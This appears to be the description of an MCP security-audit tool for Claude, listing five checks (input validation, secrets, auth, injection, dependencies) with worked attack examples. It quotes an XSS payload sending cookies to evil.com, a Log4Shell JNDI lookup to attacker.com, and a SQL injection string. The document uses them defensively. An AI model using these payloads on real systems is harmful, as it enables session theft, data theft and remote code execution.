Security Audit Prover MCP Connector for Claude

You must prove security across 5 axes: (1) INPUT VALIDATION — EVERY user-facing input: types, lengths, regex, sanitization library (DOMPurify, validator.js), file upload restrictions (MIME whitelist, size limit, virus scan). Assume all input is hostile — from headers to query params to file contents, (2) SECRETS MANAGEMENT — zero secrets in code or Git history. Environment variables (.env excluded from Git), secret managers (AWS Secrets Manager, Vault). Pre-commit hooks blocking secret patterns. Rotation policy, (3) AUTH ARCHITECTURE — authentication (WHO are you: OAuth 2.1, JWT RS256, sessions+CSRF) AND authorization (WHAT can you access: RBAC, ABAC, ownership checks on every resource). Token lifecycle: expiration, refresh rotation, revocation. Least privilege enforcement, (4) INJECTION PREVENTION — parameterized queries ($1 binding), ORM query builder (never raw SQL with concat), Content-Security-Policy headers, template auto-escaping (Jinja2, Handlebars), command argument arrays (never shell string concat). Check EVERY query type: SQL, NoSQL, LDAP, OS command, template, GraphQL, (5) DEPENDENCY POLICY — version pinning, lockfile committed, CVE scanning in CI, transitive dependency audit, provenance verification, update cadence, and team review for additions. If rejected, your code has a vulnerability — fix it before shipping. Structured reflection tool for security auditing — forces the LLM to systematically audit code against OWASP Top 10 (2025) and CWE/SANS Top 25 BEFORE shipping. Not a checklist — a forcing function that prevents the 5 most common ways insecure code reaches production. Catches Input Trust (accepting user input without validation — POST /api/comments with body: {"text": "<script>document.location='https://evil.com/steal?'+document.cookie</script>"}. Stored in database. Rendered in every user's browser. Every visitor to the page executes the script — session cookies exfiltrated. Attacker now has valid session tokens for every user who viewed the page. Root cause: body.text inserted into HTML without sanitization. Fix: DOMPurify.sanitize() on input BEFORE storage, Content-Security-Policy header with script-src 'self' (blocks inline scripts), HttpOnly flag on session cookies (prevents JavaScript access). CWE-79: Improper Neutralization of Input During Web Page Generation. This is OWASP A03:2021 Injection — the #3 most exploited vulnerability class), Secrets Exposure (credentials in source code or Git history — const API_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"; committed to Git. Developer realizes the mistake, deletes the line, commits again. "Fixed! The key is removed." No. The key is in Git history FOREVER: git log -p --all -S "sk_live" shows every commit. GitHub's secret scanning detected it — but not until 4 hours after push. During those 4 hours: bots scraped the public repo and used the Stripe key to create $12,000 in fraudulent charges. Fix: rotate the key IMMEDIATELY (revoke old, generate new). Store in: AWS Secrets Manager / HashiCorp Vault / .env excluded via .gitignore. Prevention: pre-commit hooks (gitleaks, truffleHog) that block commits containing secrets. If a secret EVER touched Git: rotate it. There is no other mitigation), Auth Bypass (broken authentication or authorization — GET /api/users/123/profile returns user 123's data. GET /api/users/124/profile — also returns data. No ownership check. Any authenticated user can access ANY user's profile by changing the ID. IDOR — Insecure Direct Object Reference (CWE-639). OWASP A01:2021 Broken Access Control — the #1 most exploited vulnerability class. The endpoint has authentication (you must be logged in) but no authorization (it does not check IF you should see this specific resource). Fix: if (req.user.id !== req.params.userId && !req.user.hasRole("admin")) return 403. Every endpoint that accesses user-specific data MUST verify ownership. Test: can User A access User B's data? If yes — broken), Injection Vulnerability (string concatenation in queries — const query = `SELECT * FROM users WHERE email = '${req.body.email}'`; Input: email = "' OR '1'='1' --" Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1' --' Returns ALL users. The attacker now has the entire user table. If the query were DELETE: DELETE FROM users WHERE email = '' OR '1'='1' -- Every user deleted. Fix: parameterized queries ONLY. db.query("SELECT * FROM users WHERE email = $1", [email]). The $1 is treated as a VALUE, never as SQL syntax. ORMs help but are not immune: User.where(`name LIKE '%${search}%'`) — still injectable. ANY string concatenation into SQL/commands/templates is a vulnerability. Zero exceptions), and Supply Chain Attack (unvetted dependencies introducing vulnerabilities — Log4Shell (CVE-2021-44228, December 2021): a single logging library (Log4j) used by 35,000+ Java packages. One lookup injection: ${jndi:ldap://attacker.com/exploit}. Remote code execution on every affected server. Cost to industry: estimated $10B+ (Wiz/Noname 2022). Left-pad (March 2016): 1 developer unpublished 11 lines of code from npm. Broke builds at Facebook, Netflix, Airbnb — thousands of packages depended on it. Prevention: version pinning (exact versions, not ^), lockfile committed, npm audit / Snyk in CI pipeline, evaluate transitive dependencies (your 5 deps → 200 transitive), provenance checks (npm --provenance), and a policy: no new dependency without team review). Call once per component, endpoint, or module before shipping